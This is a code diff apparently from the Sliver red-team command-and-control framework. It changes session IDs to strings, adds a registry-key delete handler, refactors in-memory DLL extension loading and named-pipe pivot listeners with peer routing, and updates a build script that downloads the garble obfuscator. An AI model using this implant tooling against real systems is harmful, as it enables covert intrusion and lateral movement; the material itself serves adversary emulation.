con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
|
||||
|
||||
case consts.BeaconTaskResultEvent:
|
||||
@@ -295,7 +299,7 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
|
||||
|
||||
// If the callback is not in our map then we don't do anything, the beacon task
|
||||
// was either issued by another operator in multiplayer mode or the client process
|
||||
// was restarted between the time the task was created and the server go the result
|
||||
// was restarted between the time the task was created and when the server got the result
|
||||
con.BeaconTaskCallbacksMutex.Lock()
|
||||
defer con.BeaconTaskCallbacksMutex.Unlock()
|
||||
if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok {
|
||||
@@ -406,7 +410,7 @@ func (con *SliverConsoleClient) GetSession(arg string) *clientpb.Session {
|
||||
return nil
|
||||
}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session.Name == arg || fmt.Sprintf("%d", session.ID) == arg {
|
||||
if session.Name == arg || strings.HasPrefix(session.ID, arg) {
|
||||
return session
|
||||
}
|
||||
}
|
||||
|
||||
@@ -211,6 +211,7 @@ const (
|
||||
RegistryListSubStr = "list-subkeys"
|
||||
RegistryListValuesStr = "list-values"
|
||||
RegistryCreateKeyStr = "create"
|
||||
RegistryDeleteKeyStr = "delete"
|
||||
PivotsStr = "pivots"
|
||||
WgConfigStr = "wg-config"
|
||||
WgSocksStr = "wg-socks"
|
||||
@@ -219,6 +220,7 @@ const (
|
||||
SSHStr = "ssh"
|
||||
DLLHijackStr = "dllhijack"
|
||||
InteractiveStr = "interactive"
|
||||
CloseStr = "close"
|
||||
|
||||
PortfwdStr = "portfwd"
|
||||
Socks5Str = "socks5"
|
||||
|
||||
@@ -29,7 +29,7 @@ var (
|
||||
// PortfwdMeta - Metadata about a portfwd listener
|
||||
type PortfwdMeta struct {
|
||||
ID int
|
||||
SessionID uint32
|
||||
SessionID string
|
||||
BindAddr string
|
||||
RemoteAddr string
|
||||
}
|
||||
@@ -184,7 +184,7 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
|
||||
log.Printf("[tcpproxy] Failed to dial implant %s", err)
|
||||
return nil, err
|
||||
}
|
||||
log.Printf("[tcpproxy] Created new tunnel with id %d (session %d)", rpcTunnel.TunnelID, p.Session.ID)
|
||||
log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
|
||||
tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
|
||||
|
||||
log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())
|
||||
|
||||
@@ -47,7 +47,7 @@ var (
|
||||
// PortfwdMeta - Metadata about a portfwd listener
|
||||
type SocksProxyMeta struct {
|
||||
ID int
|
||||
SessionID uint32
|
||||
SessionID string
|
||||
BindAddr string
|
||||
Username string
|
||||
Password string
|
||||
|
||||
@@ -32,7 +32,7 @@ func (t *tunnels) Get(tunnelID uint64) *Tunnel {
|
||||
}
|
||||
|
||||
// Start - Add a tunnel to the core mapper
|
||||
func (t *tunnels) Start(tunnelID uint64, sessionID uint32) *Tunnel {
|
||||
func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
|
||||
t.mutex.Lock()
|
||||
defer t.mutex.Unlock()
|
||||
tunnel := &Tunnel{
|
||||
@@ -75,7 +75,7 @@ func (t *tunnels) Close(tunnelID uint64) {
|
||||
type Tunnel struct {
|
||||
ID uint64
|
||||
IsOpen bool
|
||||
SessionID uint32
|
||||
SessionID string
|
||||
|
||||
Send chan []byte
|
||||
Recv chan []byte
|
||||
|
||||
+4
-4
@@ -32,11 +32,11 @@ import (
|
||||
func init() {
|
||||
buf := make([]byte, 8)
|
||||
_, err := rand.Read(buf)
|
||||
seed := uint64(time.Now().Unix())
|
||||
if err == nil {
|
||||
binary.LittleEndian.PutUint64(buf, uint64(seed))
|
||||
if err != nil {
|
||||
insecureRand.Seed(int64(time.Now().Unix()))
|
||||
} else {
|
||||
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
|
||||
}
|
||||
insecureRand.Seed(int64(seed))
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
@@ -50,7 +50,7 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return out, 0, int(agentSession.Session.GetID())
|
||||
return out, 0, 0
|
||||
case "exit":
|
||||
return shutdown(agentSession)
|
||||
default:
|
||||
|
||||
@@ -78,7 +78,7 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
|
||||
// GUI, we need to have a unique name for them.
|
||||
// Plus, having the ID in the name will help the user to make the
|
||||
// correlation.
|
||||
sessName := fmt.Sprintf("%s-%d", s.Name, s.ID)
|
||||
sessName := fmt.Sprintf("%s-%s", s.Name, s.ID)
|
||||
beacon := Beacon{
|
||||
Name: sessName,
|
||||
Target: p.conf.OperatorURL,
|
||||
|
||||
+13
-15
@@ -16,12 +16,12 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.17.5"
|
||||
GO_VER="1.17.6"
|
||||
GARBLE_VER="1.17.5"
|
||||
COFF_LOADER_VER="1.0.7"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
GO_ARCH_2="arm64"
|
||||
@@ -50,7 +50,7 @@ fi
|
||||
|
||||
REPO_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
|
||||
OUTPUT_DIR=$REPO_DIR/server/assets/fs
|
||||
CLIENT_OUTPUT_DIR=$REPO_DIR/client/assets/fs
|
||||
mkdir -p $OUTPUT_DIR
|
||||
WORK_DIR=`mktemp -d`
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
@@ -134,22 +134,20 @@ cp -vv windows-go.zip $OUTPUT_DIR/windows/$GO_ARCH_1/go.zip
|
||||
rm -rf ./go
|
||||
rm -f windows-go.zip go$GO_VER.windows-$GO_ARCH_1.zip
|
||||
|
||||
# --- Client ---
|
||||
mkdir -p $CLIENT_OUTPUT_DIR/extensions/coff-loader/windows
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " Garble"
|
||||
echo "-----------------------------------------------------------------"
|
||||
curl -L --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
curl -L --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
|
||||
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
|
||||
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " COFF Loader"
|
||||
echo "-----------------------------------------------------------------"
|
||||
curl -L --output $CLIENT_OUTPUT_DIR/extensions/coff-loader/windows/COFFLoader.x64.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x64.dll
|
||||
curl -L --output $CLIENT_OUTPUT_DIR/extensions/coff-loader/windows/COFFLoader.x86.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x86.dll
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
file $OUTPUT_DIR/linux/$GO_ARCH_1/garble
|
||||
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
|
||||
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
|
||||
|
||||
# end
|
||||
echo -e "clean up: $WORK_DIR"
|
||||
|
||||
@@ -64,6 +64,7 @@ require (
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/shirou/gopsutil/v3 v3.21.10
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1
|
||||
modernc.org/sqlite v1.14.3
|
||||
)
|
||||
|
||||
@@ -107,7 +108,6 @@ require (
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
golang.org/x/mod v0.3.0 // indirect
|
||||
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/tools v0.1.0 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
|
||||
@@ -29,11 +29,11 @@ import (
|
||||
"io"
|
||||
"os"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"time"
|
||||
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
@@ -73,6 +73,9 @@ func ECCEncrypt(recipientPublicKey *[32]byte, senderPrivateKey *[32]byte, plaint
|
||||
|
||||
// ECCDecrypt - Decrypt using Curve 25519 + ChaCha20Poly1305
|
||||
func ECCDecrypt(senderPublicKey *[32]byte, recipientPrivateKey *[32]byte, ciphertext []byte) ([]byte, error) {
|
||||
if len(ciphertext) < 24 {
|
||||
return nil, errors.New("ciphertext too short")
|
||||
}
|
||||
var decryptNonce [24]byte
|
||||
copy(decryptNonce[:], ciphertext[:24])
|
||||
plaintext, ok := box.Open(nil, ciphertext[24:], &decryptNonce, senderPublicKey, recipientPrivateKey)
|
||||
@@ -104,11 +107,12 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
plaintext = bytes.NewBuffer(GzipBuf(plaintext)).Bytes()
|
||||
nonce := make([]byte, aead.NonceSize(), aead.NonceSize()+len(plaintext)+aead.Overhead())
|
||||
if _, err := rand.Read(nonce); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return aead.Seal(nonce, nonce, GzipBuf(plaintext), nil), nil
|
||||
return aead.Seal(nonce, nonce, plaintext, nil), nil
|
||||
}
|
||||
|
||||
// Decrypt - Decrypt using chacha20poly1305
|
||||
|
||||
@@ -43,6 +43,7 @@ var (
|
||||
// TOTP secret value
|
||||
totpSecret = "{{.OTPSecret}}"
|
||||
|
||||
// ErrInvalidPeerKey - Peer to peer key exchange failed
|
||||
ErrInvalidPeerKey = errors.New("invalid peer key")
|
||||
)
|
||||
|
||||
|
||||
@@ -18,7 +18,13 @@ package extension
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import "errors"
|
||||
import (
|
||||
"errors"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
var extensions map[string]Extension
|
||||
|
||||
@@ -45,6 +51,11 @@ func Run(extID string, funcName string, arguments []byte, callback func([]byte))
|
||||
if ext, found := extensions[extID]; found {
|
||||
return ext.Call(funcName, arguments, callback)
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
for id, ext := range extensions {
|
||||
log.Printf("Extension '%s' (%s)", id, ext.GetArch())
|
||||
}
|
||||
//{{end}}
|
||||
return errors.New("{{if .Config.Debug}} extension not found{{end}}")
|
||||
}
|
||||
|
||||
|
||||
@@ -37,15 +37,15 @@ const (
|
||||
)
|
||||
|
||||
type WindowsExtension struct {
|
||||
id string
|
||||
data []byte
|
||||
module *memmod.Module
|
||||
arch string
|
||||
init string
|
||||
onFinish func([]byte)
|
||||
serverStore bool
|
||||
id string
|
||||
data []byte
|
||||
module *memmod.Module
|
||||
arch string
|
||||
init string
|
||||
onFinish func([]byte)
|
||||
}
|
||||
|
||||
// NewWindowsExtension - Load a new windows extension
|
||||
func NewWindowsExtension(data []byte, id string, arch string, init string) *WindowsExtension {
|
||||
return &WindowsExtension{
|
||||
id: id,
|
||||
@@ -55,16 +55,22 @@ func NewWindowsExtension(data []byte, id string, arch string, init string) *Wind
|
||||
}
|
||||
}
|
||||
|
||||
// GetID - Get the extension ID
|
||||
func (w *WindowsExtension) GetID() string {
|
||||
return w.id
|
||||
}
|
||||
|
||||
// GetArch - Get the extension architecture
|
||||
func (w *WindowsExtension) GetArch() string {
|
||||
return w.arch
|
||||
}
|
||||
|
||||
// Load - Load the extension into memory
|
||||
func (w *WindowsExtension) Load() error {
|
||||
var err error
|
||||
if len(w.data) == 0 {
|
||||
return errors.New("{{if .Config.Debug}} extension data is empty {{end}}")
|
||||
}
|
||||
w.module, err = memmod.LoadLibrary(w.data)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -83,6 +89,7 @@ func (w *WindowsExtension) Load() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Call - Call an extension export
|
||||
func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
|
||||
var (
|
||||
argumentsPtr uintptr
|
||||
|
||||
@@ -77,6 +77,7 @@ var (
|
||||
sliverpb.MsgRegistryReadReq: regReadHandler,
|
||||
sliverpb.MsgRegistryWriteReq: regWriteHandler,
|
||||
sliverpb.MsgRegistryCreateKeyReq: regCreateKeyHandler,
|
||||
sliverpb.MsgRegistryDeleteKeyReq: regDeleteKeyHandler,
|
||||
sliverpb.MsgRegistrySubKeysListReq: regSubKeysListHandler,
|
||||
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
|
||||
|
||||
@@ -496,6 +497,23 @@ func regCreateKeyHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func regDeleteKeyHandler(data []byte, resp RPCResponse) {
|
||||
deleteReq := &sliverpb.RegistryDeleteKeyReq{}
|
||||
err := proto.Unmarshal(data, deleteReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = registry.DeleteKey(deleteReq.Hostname, deleteReq.Hive, deleteReq.Path, deleteReq.Key)
|
||||
deleteResp := &sliverpb.RegistryDeleteKey{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
if err != nil {
|
||||
deleteResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(deleteResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func regSubKeysListHandler(data []byte, resp RPCResponse) {
|
||||
listReq := &sliverpb.RegistrySubKeyListReq{}
|
||||
err := proto.Unmarshal(data, listReq)
|
||||
@@ -584,20 +602,17 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
registerReq := &sliverpb.RegisterExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, registerReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
ext := extension.NewWindowsExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
|
||||
extension.Add(ext)
|
||||
err = ext.Load()
|
||||
registerResp := &sliverpb.RegisterExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
registerResp := &sliverpb.RegisterExtension{Response: &commonpb.Response{}}
|
||||
if err != nil {
|
||||
registerResp.Response.Err = err.Error()
|
||||
} else {
|
||||
extension.Add(ext)
|
||||
}
|
||||
data, err = proto.Marshal(registerResp)
|
||||
resp(data, err)
|
||||
@@ -605,15 +620,12 @@ func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
callReq := &sliverpb.CallExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, callReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
callResp := &sliverpb.CallExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
callResp := &sliverpb.CallExtension{Response: &commonpb.Response{}}
|
||||
gotOutput := false
|
||||
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
|
||||
gotOutput = true
|
||||
|
||||
@@ -69,8 +69,8 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
|
||||
return
|
||||
}
|
||||
|
||||
if startListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
|
||||
listener, err := startListener(req.BindAddress, connection.Send)
|
||||
if createListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
|
||||
listener, err := createListener(req.BindAddress, connection.Send)
|
||||
if err != nil {
|
||||
resp.Response.Err = err.Error()
|
||||
data, _ := proto.Marshal(resp)
|
||||
@@ -80,6 +80,7 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
|
||||
}
|
||||
return
|
||||
}
|
||||
go listener.Start()
|
||||
pivots.AddListener(listener)
|
||||
data, _ := proto.Marshal(listener.ToProtobuf())
|
||||
connection.Send <- &pb.Envelope{
|
||||
@@ -117,12 +118,20 @@ func pivotStopListenerHandler(envelope *pb.Envelope, connection *transports.Conn
|
||||
}
|
||||
|
||||
func pivotPeerEnvelopeHandler(envelope *pb.Envelope, connection *transports.Connection) {
|
||||
sent := pivots.SendToPeer(envelope)
|
||||
sent, err := pivots.SendToPeer(envelope)
|
||||
if !sent {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Send to peer failed, report peer failure upstream ...")
|
||||
// {{end}}
|
||||
data, _ := proto.Marshal(&pb.PivotPeerFailure{ID: envelope.ID})
|
||||
errStr := ""
|
||||
if err != nil {
|
||||
errStr = err.Error()
|
||||
}
|
||||
data, _ := proto.Marshal(&pb.PivotPeerFailure{
|
||||
PeerID: pivots.MyPeerID,
|
||||
Type: pb.PeerFailureType_SEND_FAILURE,
|
||||
Err: errStr,
|
||||
})
|
||||
connection.Send <- &pb.Envelope{
|
||||
Type: pb.MsgPivotPeerFailure,
|
||||
Data: data,
|
||||
|
||||
@@ -20,6 +20,7 @@ package pivots
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -29,39 +30,37 @@ import (
|
||||
"github.com/lesnuages/go-winio"
|
||||
)
|
||||
|
||||
// StartNamedPipePivotListener - Starts a named pipe listener
|
||||
func StartNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
var (
|
||||
namedpipePivotReadDeadline = 10 * time.Second
|
||||
namedpipePivotWriteDeadline = 10 * time.Second
|
||||
)
|
||||
|
||||
// CreateNamedPipePivotListener - Starts a named pipe listener
|
||||
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
fullName := "\\\\.\\pipe\\" + address
|
||||
ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
|
||||
//SecurityDescriptor: "",
|
||||
RemoteClientMode: true,
|
||||
})
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Listening on %s", fullName)
|
||||
log.Printf("Listening on named pipe %s", fullName)
|
||||
// {{end}}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
pivotLn := &PivotListener{
|
||||
ID: ListenerID(),
|
||||
Type: pb.PivotType_NamedPipe,
|
||||
Listener: ln,
|
||||
Pivots: &sync.Map{},
|
||||
BindAddress: fullName,
|
||||
Upstream: upstream,
|
||||
ID: ListenerID(),
|
||||
Type: pb.PivotType_NamedPipe,
|
||||
Listener: ln,
|
||||
PivotConnections: &sync.Map{},
|
||||
BindAddress: fullName,
|
||||
Upstream: upstream,
|
||||
}
|
||||
go namedPipeAcceptConnections(pivotLn)
|
||||
return pivotLn, nil
|
||||
}
|
||||
|
||||
func namedPipeAcceptConnections(pivotListener *PivotListener) {
|
||||
// hostname, err := os.Hostname()
|
||||
// if err != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Printf("Failed to determine hostname %s", err)
|
||||
// // {{end}}
|
||||
// hostname = "."
|
||||
// }
|
||||
// namedPipe := strings.ReplaceAll(pivotListener.Listener.Addr().String(), ".", hostname)
|
||||
for {
|
||||
conn, err := pivotListener.Listener.Accept()
|
||||
if err != nil {
|
||||
@@ -69,15 +68,14 @@ func namedPipeAcceptConnections(pivotListener *PivotListener) {
|
||||
}
|
||||
// handle connection like any other net.Conn
|
||||
pivotConn := &NetConnPivot{
|
||||
id: PivotID(),
|
||||
conn: conn,
|
||||
readMutex: &sync.Mutex{},
|
||||
writeMutex: &sync.Mutex{},
|
||||
readDeadline: tcpPivotReadDeadline,
|
||||
writeDeadline: tcpPivotWriteDeadline,
|
||||
readDeadline: namedpipePivotReadDeadline,
|
||||
writeDeadline: namedpipePivotWriteDeadline,
|
||||
upstream: pivotListener.Upstream,
|
||||
Downstream: make(chan *pb.Envelope),
|
||||
}
|
||||
go pivotConn.Start(pivotListener.Pivots)
|
||||
go pivotConn.Start(pivotListener.PivotConnections)
|
||||
}
|
||||
}
|
||||
+206
-92
@@ -43,17 +43,39 @@ const (
|
||||
)
|
||||
|
||||
var (
|
||||
ErrFailedWrite = errors.New("failed to write")
|
||||
// ErrFailedWrite - Failed to write to a connection
|
||||
ErrFailedWrite = errors.New("failed to write")
|
||||
// ErrFailedKeyExchange - Failed to exchange session and/or peer keys
|
||||
ErrFailedKeyExchange = errors.New("failed key exchange")
|
||||
|
||||
pivotListeners = &sync.Map{}
|
||||
listenerID = uint32(0)
|
||||
pivotListeners = &sync.Map{}
|
||||
stoppedPivotListeners = &sync.Map{}
|
||||
|
||||
PeerID = PivotID() // This implant's Peer ID, a per-execution instance ID
|
||||
listenerID = uint32(0)
|
||||
|
||||
// MyPeerID - This implant's Peer ID, a per-execution instance ID
|
||||
MyPeerID = generatePeerID()
|
||||
|
||||
pivotReadDeadline = 10 * time.Second
|
||||
pivotWriteDeadline = 10 * time.Second
|
||||
)
|
||||
|
||||
// StartListener - Generic interface to a start listener function
|
||||
type StartListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
|
||||
// generatePeerID - Generate a new pivot id
|
||||
func generatePeerID() int64 {
|
||||
buf := make([]byte, 8)
|
||||
_, err := rand.Read(buf)
|
||||
if err != nil {
|
||||
return time.Now().UnixNano() // These need only be unique
|
||||
}
|
||||
peerID := int64(binary.LittleEndian.Uint64(buf))
|
||||
if peerID == int64(0) {
|
||||
return time.Now().UnixNano()
|
||||
}
|
||||
return peerID
|
||||
}
|
||||
|
||||
// CreateListener - Generic interface to a start listener function
|
||||
type CreateListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
|
||||
|
||||
// GetListeners - Get a list of active listeners
|
||||
func GetListeners() []*pb.PivotListener {
|
||||
@@ -68,9 +90,56 @@ func GetListeners() []*pb.PivotListener {
|
||||
|
||||
// AddListener - Add a listener
|
||||
func AddListener(listener *PivotListener) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] my peer id: %d", MyPeerID)
|
||||
log.Printf("[pivot] adding listener: %s", listener.BindAddress)
|
||||
// {{end}}
|
||||
pivotListeners.Store(listener.ID, listener)
|
||||
}
|
||||
|
||||
// RemoveListener - Stop a pivot listener
|
||||
func RemoveListener(id uint32) {
|
||||
if listener, ok := pivotListeners.LoadAndDelete(id); ok {
|
||||
listener.(*PivotListener).Stop()
|
||||
}
|
||||
}
|
||||
|
||||
// RestartAllListeners - Start all pivot listeners
|
||||
func RestartAllListeners(send chan<- *pb.Envelope) {
|
||||
stoppedPivotListeners.Range(func(key, value interface{}) bool {
|
||||
stoppedListener := value.(*PivotListener)
|
||||
if createListener, ok := SupportedPivotListeners[stoppedListener.Type]; ok {
|
||||
listener, err := createListener(stoppedListener.BindAddress, send)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] failed to restart listener: %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
go listener.Start()
|
||||
AddListener(listener)
|
||||
}
|
||||
return true
|
||||
})
|
||||
stoppedPivotListeners = nil
|
||||
}
|
||||
|
||||
// StopAllListeners - Stop all pivot listeners
|
||||
func StopAllListeners() {
|
||||
pivotListeners.Range(func(key, value interface{}) bool {
|
||||
value.(*PivotListener).Stop()
|
||||
return true
|
||||
})
|
||||
stoppedPivotListeners = pivotListeners
|
||||
pivotListeners = &sync.Map{}
|
||||
}
|
||||
|
||||
// StartListener - Stop a pivot listener
|
||||
func StartListener(id uint32) {
|
||||
if listener, ok := pivotListeners.Load(id); ok {
|
||||
listener.(*PivotListener).Start()
|
||||
}
|
||||
}
|
||||
|
||||
// StopListener - Stop a pivot listener
|
||||
func StopListener(id uint32) {
|
||||
if listener, ok := pivotListeners.Load(id); ok {
|
||||
@@ -79,71 +148,74 @@ func StopListener(id uint32) {
|
||||
}
|
||||
|
||||
// SendToPeer - Forward an envelope to a peer
|
||||
func SendToPeer(envelope *pb.Envelope) bool {
|
||||
peerEnvelope := &pb.PivotPeerEnvelope{}
|
||||
err := proto.Unmarshal(envelope.Data, peerEnvelope)
|
||||
func SendToPeer(envelope *pb.Envelope) (bool, error) {
|
||||
pivotPeerEnvelope := &pb.PivotPeerEnvelope{}
|
||||
err := proto.Unmarshal(envelope.Data, pivotPeerEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to unmarshal peer envelope: %s", err)
|
||||
// {{end}}
|
||||
return false
|
||||
return false, err
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Peer Envelope: %v", peerEnvelope)
|
||||
log.Printf("Send to downstream pivot id: %d", peerEnvelope.PivotID)
|
||||
log.Printf("my peer envelope: %+v", pivotPeerEnvelope)
|
||||
// {{end}}
|
||||
|
||||
downstreamEnvelope := &pb.Envelope{
|
||||
Type: pb.MsgPivotPeerEnvelope,
|
||||
Data: peerEnvelope.Data,
|
||||
}
|
||||
err = proto.Unmarshal(peerEnvelope.Data, downstreamEnvelope)
|
||||
nextPeerID, err := findNextPeerID(pivotPeerEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to unmarshal downstream envelope: %s", err)
|
||||
log.Printf("Failed to find next peer id: %s", err)
|
||||
// {{end}}
|
||||
return false
|
||||
return false, err
|
||||
}
|
||||
|
||||
// NOTE: Yes linear search is bad, but there should be a very small
|
||||
// number of listeners and pivots so it should be fine
|
||||
sent := false // Controls iteration of outer loop
|
||||
pivotListeners.Range(func(key interface{}, value interface{}) bool {
|
||||
listener := value.(*PivotListener)
|
||||
listener.Pivots.Range(func(key interface{}, value interface{}) bool {
|
||||
pivot := value.(*NetConnPivot)
|
||||
if pivot.ID() == peerEnvelope.PivotID {
|
||||
pivot.Downstream <- downstreamEnvelope
|
||||
sent = true // break from the outer loop
|
||||
return false // stop iterating inner loop
|
||||
}
|
||||
return true // keep iterating inner loop
|
||||
})
|
||||
pivotConn, ok := listener.PivotConnections.Load(nextPeerID)
|
||||
if ok {
|
||||
pivot := pivotConn.(*NetConnPivot)
|
||||
pivot.Downstream <- envelope
|
||||
sent = true // break from the outer loop
|
||||
return false // stop iterating inner loop
|
||||
}
|
||||
return !sent // keep iterating while not sent
|
||||
})
|
||||
// {{if .Config.Debug}}
|
||||
if !sent {
|
||||
log.Printf("Failed to find pivot with id %d", peerEnvelope.PivotID)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to find peer with id %d", nextPeerID)
|
||||
// {{end}}
|
||||
return false, errors.New("peer not found")
|
||||
}
|
||||
// {{end}}
|
||||
return sent
|
||||
return sent, nil
|
||||
}
|
||||
|
||||
func findNextPeerID(pivotPeerEnvelope *pb.PivotPeerEnvelope) (int64, error) {
|
||||
for index, peer := range pivotPeerEnvelope.Peers {
|
||||
if peer.PeerID == MyPeerID {
|
||||
if 0 <= index-1 {
|
||||
return pivotPeerEnvelope.Peers[index-1].PeerID, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return int64(0), errors.New("next peer not found")
|
||||
}
|
||||
|
||||
// PivotListener - A pivot listener
|
||||
type PivotListener struct {
|
||||
ID uint32
|
||||
Type pb.PivotType
|
||||
Listener net.Listener
|
||||
Pivots *sync.Map // ID -> NetConnPivot
|
||||
BindAddress string
|
||||
Upstream chan<- *pb.Envelope
